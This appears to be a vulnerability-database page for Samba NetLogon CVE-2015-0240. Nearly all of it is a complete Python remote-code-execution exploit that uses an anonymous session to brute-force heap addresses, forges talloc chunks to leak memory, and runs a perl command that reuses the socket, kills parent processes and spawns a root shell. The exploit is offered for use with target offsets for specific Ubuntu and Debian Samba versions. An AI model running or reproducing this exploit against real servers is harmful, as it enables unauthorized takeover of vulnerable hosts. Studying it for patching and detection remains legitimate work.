Lucene search

K
seebugRootSSV:89724
HistoryNov 13, 2015 - 12:00 a.m.

Samba NetLogon未初始化指针漏洞(CVE-2015-0240)

2015-11-1300:00:00
Root
www.seebug.org
214

0.974 High

EPSS

Percentile

99.9%

No description provided by source.


                                                #!/usr/bin/env python
# coding: utf-8
import sys
import time
from struct import pack,unpack
import argparse
 
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
 
 
class Requester:
    """
    put all smb request stuff into class. help my editor folding them
    """
     
    # impacket does not implement NetrServerPasswordSet
    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
    class NetrServerPasswordSet(NDRCALL):
        opnum = 6
        structure = (
           ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
           ('AccountName',WSTR),
           ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
           ('ComputerName',WSTR),
           ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )
    # response is authenticator (8 bytes) and error code (4 bytes)
 
    # size of each field in sent packet
    req_server_handle_size = 16
    req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
    req_sec_type_size = 2
    req_computer_size = 4 + 4 + 4 + 2
    req_authenticator_size = 8 + 2 + 4
    req_new_pwd_size = 16
    req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size
     
    samba_rpc_fragment_size = 4280
    netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24  # 24 is dcerpc header size
     
    def __init__(self):
        self.target = None
        self.dce = None
         
        sessionKey = '\x00'*16
        # prepare ServerPasswordSet request
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
        authenticator['Timestamp'] = 10
 
        uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
        uasNewPass['Data'] = '\x00'*16
 
        self.serverName = nrpc.PLOGONSRV_HANDLE()
        # ReferentID field of PrimaryName controls the uninitialized value of creds
        self.serverName.fields['ReferentID'] = 0
         
        self.accountName = WSTR()
 
        request = Requester.NetrServerPasswordSet()
        request['PrimaryName'] = self.serverName
        request['AccountName'] = self.accountName
        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
        request['ComputerName'] = '\x00'
        request['Authenticator'] = authenticator
        request['UasNewPassword'] = uasNewPass
        self.request = request
     
    def set_target(self, target):
        self.target = target
         
    def set_payload(self, s, pad_to_size=0):
        if pad_to_size > 0:
            s += '\x00'*(pad_to_size-len(s))
        pad_size = 0
        if len(s) < (16*1024+1):
            ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size
            if ofsize > 0:
                pad_size = self.netlogon_data_fragment_size - ofsize
         
        self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00'
        self.accountName.fields['MaximumCount'] = None
        self.accountName.fields['ActualCount'] = None
        self.accountName.data = None        # force recompute
         
    set_accountNameData = set_payload
 
    def get_dce(self):
        if self.dce is None or self.dce.lostconn:
            rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target)
            rpctransport.set_credentials('','')  # NULL session
            rpctransport.set_dport(445)
            # force to 'NT LM 0.12' only
            rpctransport.preferred_dialect('NT LM 0.12')
             
            self.dce = rpctransport.get_dce_rpc()
            self.dce.connect()
            self.dce.bind(nrpc.MSRPC_UUID_NRPC)
            self.dce.lostconn = False
        return self.dce
 
    def get_socket(self):
        return self.dce.get_rpc_transport().get_socket()
     
    def force_dce_disconnect(self):
        if not (self.dce is None or self.dce.lostconn):
            self.get_socket().close()
            self.dce.lostconn = True
 
    def request_addr(self, addr):
        self.serverName.fields['ReferentID'] = addr
         
        dce = self.get_dce()
        try:
            dce.call(self.request.opnum, self.request)
            answer = dce.recv()
            return unpack("<IIII", answer)
        except impacket.nmb.NetBIOSError as e:
            if e.args[0] != 'Error while reading from remote':
                raise
            dce.lostconn = True
        return None
 
    # call with no read
    def call_addr(self, addr):
        self.serverName.fields['ReferentID'] = addr
         
        dce = self.get_dce()
        try:
            dce.call(self.request.opnum, self.request)
            return True
        except impacket.nmb.NetBIOSError as e:
            if e.args[0] != 'Error while reading from remote':
                raise
            dce.lostconn = True
        return False
     
    def force_recv(self):
        dce = self.get_dce()
        return dce.get_rpc_transport().recv(forceRecv=True)
 
    def request_check_valid_addr(self, addr):
        answers = self.request_addr(addr)
        if answers is None:
            return False # connection lost
        elif answers[3] != 0:
            return True  # error, expected
        else:
            raise Error('Unexpected result')
 
 
# talloc constants
TALLOC_MAGIC = 0xe8150c70  # for talloc 2.0
TALLOC_FLAG_FREE = 0x01
TALLOC_FLAG_LOOP = 0x02
TALLOC_FLAG_POOL = 0x04
TALLOC_FLAG_POOLMEM = 0x08
 
TALLOC_HDR_SIZE = 0x30  # for 32 bit
 
flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP  # for checking valid address
 
# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address.
TARGET_PAYLOAD_SIZE = 8192
 
########
# request helper functions
########
 
# only one global requester
requester = Requester()
 
def force_dce_disconnect():
    requester.force_dce_disconnect()
 
def request_addr(addr):
    return requester.request_addr(addr)
 
def request_check_valid_addr(addr):
    return requester.request_check_valid_addr(addr)
 
def set_payload(s, pad_to_size=0):
    requester.set_payload(s, pad_to_size)
 
def get_socket():
    return requester.get_socket()
     
def call_addr(addr):
    return requester.call_addr(addr)
 
def force_recv():
    return requester.force_recv()
         
########
# find heap address
########
 
# only refs MUST be NULL, other never be checked
fake_chunk_find_heap = pack("<IIIIIIII",
    0, 0, 0, 0, # refs
    flag_loop, flag_loop, flag_loop, flag_loop,
)
 
def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False):
    """
    below code can be used for checking valid heap address (no crash)
 
    if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
        /* we have a free loop - stop looping */
        return 0;
    }
    """
    global fake_chunk_find_heap
    payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap))
    set_payload(payload)
    addr_step = payload_size
    addr = start_addr
    i = 0
    while addr > stop_addr:
        if i == 16:
            print(" [*]trying addr: {:x}".format(addr))
            i = 0
         
        if request_check_valid_addr(addr):
            return addr
        if first:
            # first time, the last 16 bit is still do not know
            # have to do extra check
            if request_check_valid_addr(addr+0x10):
                return addr+0x10
        addr -= addr_step
        i += 1
    return None
 
def find_valid_heap_exact_addr(addr, payload_size):
    global fake_chunk_find_heap
    fake_size = payload_size // 2
    while fake_size >= len(fake_chunk_find_heap):
        payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap))
        set_payload(payload, payload_size)
        if not request_check_valid_addr(addr):
            addr -= fake_size
        fake_size = fake_size // 2
     
    set_payload('\x00'*16 + pack("<I", flag_loop), payload_size)
    # because glibc heap is align by 8
    # so the last 4 bit of address must be 0x4 or 0xc
    if request_check_valid_addr(addr-4):
        addr -= 4
    elif request_check_valid_addr(addr-0xc):
        addr -= 0xc
    else:
        print(" [-] bad exact addr: {:x}".format(addr))
        return 0
     
    print(" [*] checking exact addr: {:x}".format(addr))
     
    if (addr & 4) == 0:
        return 0
     
    # test the address
     
    # must be invalid (refs is AccountName.ActualCount)
    set_payload('\x00'*12 + pack("<I", flag_loop), payload_size)
    if request_check_valid_addr(addr-4):
        print(' [-] request_check_valid_addr(addr-4) failed')
        return 0
    # must be valid (refs is AccountName.Offset)
    # do check again if fail. sometimes heap layout is changed
    set_payload('\x00'*8 + pack("<I", flag_loop), payload_size)
    if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) :
        print(' [-] request_check_valid_addr(addr-8) failed')
        return 0
    # must be invalid (refs is AccountName.MaxCount)
    set_payload('\x00'*4 + pack("<I", flag_loop), payload_size)
    if request_check_valid_addr(addr-0xc):
        print(' [-] request_check_valid_addr(addr-0xc) failed')
        return 0
    # must be valid (refs is ServerHandle.ActualCount)
    # do check again if fail. sometimes heap layout is changed
    set_payload(pack("<I", flag_loop), payload_size)
    if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10):
        print(' [-] request_check_valid_addr(addr-0x10) failed')
        return 0
         
    return addr
 
def find_payload_addr(start_addr, start_payload_size, target_payload_size):
    print('[*] bruteforcing heap address...')
 
    start_addr = start_addr & 0xffff0000
         
    heap_addr = 0
    while heap_addr == 0:
        # loop from max to 0xb7700000 for finding heap area
        # offset 0x20000 is minimum offset from heap start to recieved data in heap
        stop_addr = 0xb7700000 + 0x20000
        good_addr = None
        payload_size = start_payload_size
        while payload_size >= target_payload_size:
            force_dce_disconnect()
            found_addr = None
            for i in range(3):
                found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None)
                if found_addr is not None:
                    break
            if found_addr is None:
                # failed
                good_addr = None
                break
            good_addr = found_addr
            print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr))
            start_addr = good_addr
            stop_addr = good_addr - payload_size + 0x20
            payload_size //= 2
 
        if good_addr is not None:
            # try 3 times to find exact address. if address cannot be found, assume
            # minimizing payload size is not correct. start minimizing again
            for i in range(3):
                heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size)
                if heap_addr != 0:
                    break
                force_dce_disconnect()
         
        if heap_addr == 0:
            print(' [-] failed to find payload adress')
            # start from last good address + some offset
            start_addr = (good_addr + 0x10000) & 0xffff0000
            print('[*] bruteforcing heap adress again from {:x}'.format(start_addr))
     
    payload_addr = heap_addr - len(fake_chunk_find_heap)
    print(" [+] found payload addr: {:x}".format(payload_addr))
    return payload_addr
 
 
########
# leak info
########
 
def addr2utf_prefix(addr):
    def is_badchar(v):
        return (v >= 0xd8) and (v <= 0xdf)
     
    prefix = 0 # safe
    if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff):
        prefix |= 2 # cannot have prefix
    if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff):
        prefix |= 1 # must have prefix
    return prefix
     
def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False):
    """
    Note:
    - if next_addr and prev_addr are not zero, they must be writable address
      because of below code in _talloc_free_internal()
        if (tc->prev) tc->prev->next = tc->next;
        if (tc->next) tc->next->prev = tc->prev;
    """
    # Note: U+D800 to U+DFFF is reserved (also bad char for samba)
    # check if '\x00' is needed to avoid utf16 badchar
    prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr)
    if prefix_len == 3:
        return None # cannot avoid badchar
    if prefix_len == 2:
        prefix_len = 0
 
    fake_chunk_leak_info = pack("<IIIIIIIIIIII",
        next_addr, prev_addr, # next, prev
        0, 0, # parent, children
        0, 0, # refs, destructor
        0, 0, # name, size
        TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
        0, 0, 0, # pool, pad, pad
        )
    payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count
    set_payload(payload, TARGET_PAYLOAD_SIZE)
    if call_only:
        return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
     
    for i in range(3 if retry else 1):
        try:
            answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
        except impacket.dcerpc.v5.rpcrt.Exception:
            print("impacket.dcerpc.v5.rpcrt.Exception")
            answers = None
            force_dce_disconnect()
        if answers is not None:
            # leak info must have next or prev address
            if (answers[1] == prev_addr) or (answers[0] == next_addr):
                break
            #print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3]))
            answers = None # no next or prev in answers => wrong answer
            force_dce_disconnect() # heap is corrupted, disconnect it
     
    return answers
     
def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True):
    # leak by replace r->out.return_authenticator pointer
    # Note:  because leak_addr[4:8] will be replaced with r_out_addr
    # only answers[0] and answers[2] are leaked
    return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry)
 
def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True):
    # leak by replace r->out.return_authenticator pointer
    # Note: leak_addr[0:4] will be replaced with r_out_addr
    # only answers[1] and answers[2] are leaked
    return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry)
 
def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr):
    # leak name field ('uint8_t') in found heap chunk
    # do not retry this leak, because r_out_addr is guessed
    answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False)
    if answers is None:
        return None
    if answers[2] != TALLOC_MAGIC:
        force_dce_disconnect()
        return None
 
    return answers[0]
 
def leak_info_find_offset(info):
    # offset from pool to payload still does not know
    print("[*] guessing 'r' offset and leaking 'uint8_t' address ...")
    chunk_addr = info['chunk_addr']
    uint8t_addr = None
    r_addr = None
    r_out_addr = None
    while uint8t_addr is None:
        # 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0
        # 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0
        # 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0
        # 0xad40 is extra offset when no share on debian
        # 0x10d38 is extra offset when only [printers] is shared on debian
        for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38):
            r_addr = chunk_addr - offset
            # 0x18 is out.authenticator offset
            r_out_addr = r_addr + 0x18
            print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr))
             
            uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr)
            if uint8t_addr is not None:
                print("  [*] success")
                break
            print("  [-] failed")
        if uint8t_addr is None:
            return False
     
    info['uint8t_addr'] = uint8t_addr
    info['r_addr'] = r_addr
    info['r_out_addr'] = r_out_addr
    info['pool_addr'] = r_addr - 0x13c0
     
    print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr']))
    print(" [+] pool addr: {:x}".format(info['pool_addr']))
     
    return True
     
def leak_sock_fd(info):
    # leak sock fd from
    # smb_request->sconn->sock
    #   (offset: ->0x3c ->0x0 )
    print("[*] leaking socket fd ...")
    info['smb_request_addr'] = info['pool_addr']+0x11a0
    print(" [*] smb request addr: {:x}".format(info['smb_request_addr']))
    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4)
    if answers is None:
        print(' [-] cannot leak sconn_addr address :(')
        return None
    force_dce_disconnect() # heap is corrupted, disconnect it
    sconn_addr = answers[2]
    info['sconn_addr'] = sconn_addr
    print(' [+] sconn addr: {:x}'.format(sconn_addr))
     
    # write in padding of chunk, no need to disconnect
    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr)
    if answers is None:
        print('cannot leak sock_fd address :(')
        return None
    sock_fd = answers[1]
    print(' [+] sock fd: {:d}'.format(sock_fd))
    info['sock_fd'] = sock_fd
    return sock_fd
 
def leak_talloc_pop_addr(info):
    # leak destructor talloc_pop() address
    # overwrite name field, no need to disconnect
    print('[*] leaking talloc_pop address')
    answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14)
    if answers is None:
        print(' [-] cannot leak talloc_pop() address :(')
        return None
    if answers[2] != 0x2010: # chunk size must be 0x2010
        print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(')
        return None
    talloc_pop_addr = answers[0]
    print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr))
    info['talloc_pop_addr'] = talloc_pop_addr
    return talloc_pop_addr
 
def leak_smbd_server_connection_handler_addr(info):
    # leak address from
    # smbd_server_connection.smb1->fde ->handler
    #       (offset:             ->0x9c->0x14 )
    # MUST NOT disconnect after getting smb1_fd_event address
    print('[*] leaking smbd_server_connection_handler address')
    def real_leak_conn_handler_addr(info):
        answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c)
        if answers is None:
            print(' [-] cannot leak smb1_fd_event address :(')
            return None
        smb1_fd_event_addr = answers[1]
        print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr))
         
        answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14)
        if answers is None:
            print(' [-] cannot leak smbd_server_connection_handler address :(')
            return None
        force_dce_disconnect() # heap is corrupted, disconnect it
        smbd_server_connection_handler_addr = answers[0]
        diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr
        if diff > 0x2000000 or diff < 0:
            print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
            smbd_server_connection_handler_addr = None
        return smbd_server_connection_handler_addr
     
    smbd_server_connection_handler_addr = None
    while smbd_server_connection_handler_addr is None:
        smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info)
     
    print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
    info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr
     
    return smbd_server_connection_handler_addr
 
def find_smbd_base_addr(info):
    # estimate smbd_addr from talloc_pop
    if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0:
        # code has no alignment
        start_addr = info['smbd_server_connection_handler_addr'] - 0x124000
    else:
        start_addr = info['smbd_server_connection_handler_addr'] - 0x130000
    start_addr = start_addr & 0xfffff000
    stop_addr = start_addr - 0x20000
     
    print('[*] finding smbd loaded addr ...')
    while True:
        smbd_addr = start_addr
        while smbd_addr >= stop_addr:
            if addr2utf_prefix(smbd_addr-8) == 3:
                # smbd_addr is 0xb?d?e000
                test_addr = smbd_addr - 0x800 - 4
            else:
                test_addr = smbd_addr - 8
            # test writable on test_addr
            answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False)
            if answers is not None:
                break
            smbd_addr -= 0x1000 # try prev page
        if smbd_addr > stop_addr:
            break
        print(' [-] failed. try again.')
         
    info['smbd_addr'] = smbd_addr
    print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr))
 
def dump_mem_call_addr(info, target_addr):
    # leak pipes_struct address from
    # smbd_server_connection->chain_fsp->fake_file_handle->private_data
    #       (offset:        ->0x48     ->0xd4            ->0x4 )
    # Note:
    # - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed
    # - target_addr will be replaced with current_pdu_sent address
    # check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c
    print(' [*] overwrite current_pdu_sent for dumping memory ...')
    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48)
    if answers is None:
        print('  [-] cannot leak chain_fsp address :(')
        return False
    chain_fsp_addr = answers[1]
    print('  [*] chain_fsp addr: {:x}'.format(chain_fsp_addr))
     
    answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False)
    if answers is None:
        print('  [-] cannot leak fake_file_handle address :(')
        return False
    fake_file_handle_addr = answers[0]
    print('  [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr))
 
    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False)
    if answers is None:
        print('  [-] cannot leak pipes_struct address :(')
        return False
    pipes_struct_addr = answers[2]
    print('  [*] pipes_struct addr: {:x}'.format(pipes_struct_addr))
     
    current_pdu_sent_addr = pipes_struct_addr+0x84
    print('  [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr))
    # change pipes->out_data.current_pdu_sent to dump memory
    return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True)
 
def dump_smbd_find_bininfo(info):
    def recv_till_string(data, s):
        pos = len(data)
        while True:
            data += force_recv()
            if len(data) == pos:
                print('no more data !!!')
                return None
            p = data.find(s, pos-len(s))
            if p != -1:
                return (data, p)
            pos = len(data)
        return None
 
    def lookup_dynsym(dynsym, name_offset):
        addr = 0
        i = 0
        offset_str = pack("<I", name_offset)
        while i < len(dynsym):
            if dynsym[i:i+4] == offset_str:
                addr = unpack("<I", dynsym[i+4:i+8])[0]
                break
            i += 16
        return addr
     
    print('[*] dumping smbd ...')
    dump_call = False
    # have to minus from smbd_addr because code section is read-only
    if addr2utf_prefix(info['smbd_addr']-4) == 3:
        # smbd_addr is 0xb?d?e000
        dump_addr = info['smbd_addr'] - 0x800 - 4
    else:
        dump_addr = info['smbd_addr'] - 4
    for i in range(8):
        if dump_mem_call_addr(info, dump_addr):
            mem = force_recv()
            if len(mem) == 4280:
                dump_call = True
                break
        print(' [-] dump_mem_call_addr failed. try again')
        force_dce_disconnect()
    if not dump_call:
        print(' [-] dump smbd failed')
        return False
     
    print(' [+] dump success. getting smbd ...')
    # first time, remove any data before \7fELF
    mem = mem[mem.index('\x7fELF'):]
 
    mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00')
    print(' [*] found __gmon_start__ at {:x}'.format(pos+1))
     
    pos = mem.rfind('\x00\x00', 0, pos-1)
    dynstr_offset = pos+1
    print(' [*] found .dynstr section at {:x}'.format(dynstr_offset))
     
    dynstr = mem[dynstr_offset:]
    mem = mem[:dynstr_offset]
     
    # find start of .dynsym section
    pos = len(mem) - 16
    while pos > 0:
        if mem[pos:pos+16] == '\x00'*16:
            break
        pos -= 16 # sym entry size is 16 bytes
    if pos <= 0:
        print(' [-] found wrong .dynsym section at {:x}'.format(pos))
        return None
    dynsym_offset = pos
    print(' [*] found .dynsym section at {:x}'.format(dynsym_offset))
    dynsym = mem[dynsym_offset:]
     
    # find sock_exec
    dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00')
    print(' [*] found sock_exec string at {:x}'.format(pos+1))
    sock_exec_offset = lookup_dynsym(dynsym, pos+1)
    print(' [*] sock_exec offset {:x}'.format(sock_exec_offset))
         
    #info['mem'] = mem  # smbd data before .dynsym section
    info['dynsym'] = dynsym
    info['dynstr'] = dynstr # incomplete section
    info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset
    print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
     
    # Note: can continuing memory dump to find ROP
     
    force_dce_disconnect()
     
########
# code execution
########
def call_sock_exec(info):
    prefix_len = addr2utf_prefix(info['sock_exec_addr'])
    if prefix_len == 3:
        return False # too bad... cannot call
    if prefix_len == 2:
        prefix_len = 0
    fake_talloc_chunk_exec = pack("<IIIIIIIIIIII",
        0, 0, # next, prev
        0, 0,  # parent, child
        0, # refs
        info['sock_exec_addr'], # destructor
        0, 0, # name, size
        TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
        0, 0, 0, # pool, pad, pad
    )
    chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00'
    set_payload(chunk, TARGET_PAYLOAD_SIZE)
    for i in range(3):
        if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len):
            print('waiting for shell :)')
            return True
    print('something wrong :(')
    return False
 
########
# start work
########
 
def check_exploitable():
    if request_check_valid_addr(0x41414141):
        print('[-] seems not vulnerable')
        return False
    if request_check_valid_addr(0):
        print('[+] seems exploitable :)')
        return True
     
    print("[-] seems vulnerable but I cannot exploit")
    print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'")
    return False
 
def do_work(args):
    info = {}
     
    if not (args.payload_addr or args.heap_start or args.start_payload_size):
        if not check_exploitable():
            return
 
    start_size = 512*1024 # default size with 512KB
    if args.payload_addr:
        info['payload_addr'] = args.payload_addr
    else:
        heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000
        if args.start_payload_size:
            start_size = args.start_payload_size * 1024
        if start_size < TARGET_PAYLOAD_SIZE:
            start_size = 512*1024 # back to default
        info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE)
     
    # the real talloc chunk address that stored the raw netlogon data
    # serverHandle 0x10 bytes. accountName 0xc bytes
    info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
    print("[+] chunk addr: {:x}".format(info['chunk_addr']))
 
    while not leak_info_find_offset(info):
        # Note: do heap bruteforcing again seems to be more effective
        # start from payload_addr + some offset
        print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000))
        info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE)
        info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
        print("[+] chunk addr: {:x}".format(info['chunk_addr']))
 
    got_fd = leak_sock_fd(info)
     
    # create shell command for reuse sock fd
    cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;"  # seteuid, setegid
    cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock
    # have to kill grand-grand-parent process because sock_exec() does fork() then system()
    # the smbd process still receiving data from socket
    cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;"  # kill parents
    cmd += """print "shell ready\n";exec "/bin/sh";'"""  # spawn shell
    info['cmd'] = cmd
 
    # Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc.
    #       the ebx is not correct for resolving the system address
    smbd_info = {
        0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'},
        0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'},
        0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'},
        0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'},
    }
 
    leak_talloc_pop_addr(info)  # to double check the bininfo
    bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff)
    if bininfo is not None:
        smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset']
        if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']:
            # correct info
            print('[+] detect smbd version: {:s}'.format(bininfo['version']))
            info['smbd_addr'] = smbd_addr
            info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec']
            print(' [*] smbd loaded addr: {:x}'.format(smbd_addr))
            print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec']))
            print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
        else:
            # wrong info
            bininfo = None
         
    got_shell = False
    if bininfo is None:
        # no target binary info. do a hard way to find them.
        """
        leak smbd_server_connection_handler for 2 purposes
        - to check if compiler does code alignment
        - to estimate smbd loaded address
          - gcc always puts smbd_server_connection_handler() function at
            beginning area of .text section
          - so the difference of smbd_server_connection_handler() offset is
            very low for all smbd binary (compiled by gcc)
        """  
        leak_smbd_server_connection_handler_addr(info)
        find_smbd_base_addr(info)
        dump_smbd_find_bininfo(info)
 
    # code execution
    if 'sock_exec_addr' in info and call_sock_exec(info):
        s = get_socket()
        print(s.recv(4096)) # wait for 'shell ready' message
        s.send('uname -a\n')
        print(s.recv(4096))
        s.send('id\n')
        print(s.recv(4096))
        s.send('exit\n')
        s.close()
 
 
def hex_int(x):
    return int(x,16)
     
# command arguments
parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit')
parser.add_argument('target', help='target IP address')
parser.add_argument('-hs', '--heap_start', type=hex_int,
            help='heap address in hex to start bruteforcing')
parser.add_argument('-pa', '--payload_addr', type=hex_int, 
            help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing')
parser.add_argument('-sps', '--start_payload_size', type=int,
            help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)')
 
args = parser.parse_args()
requester.set_target(args.target)
 
 
try:
    do_work(args)
except KeyboardInterrupt:
    pass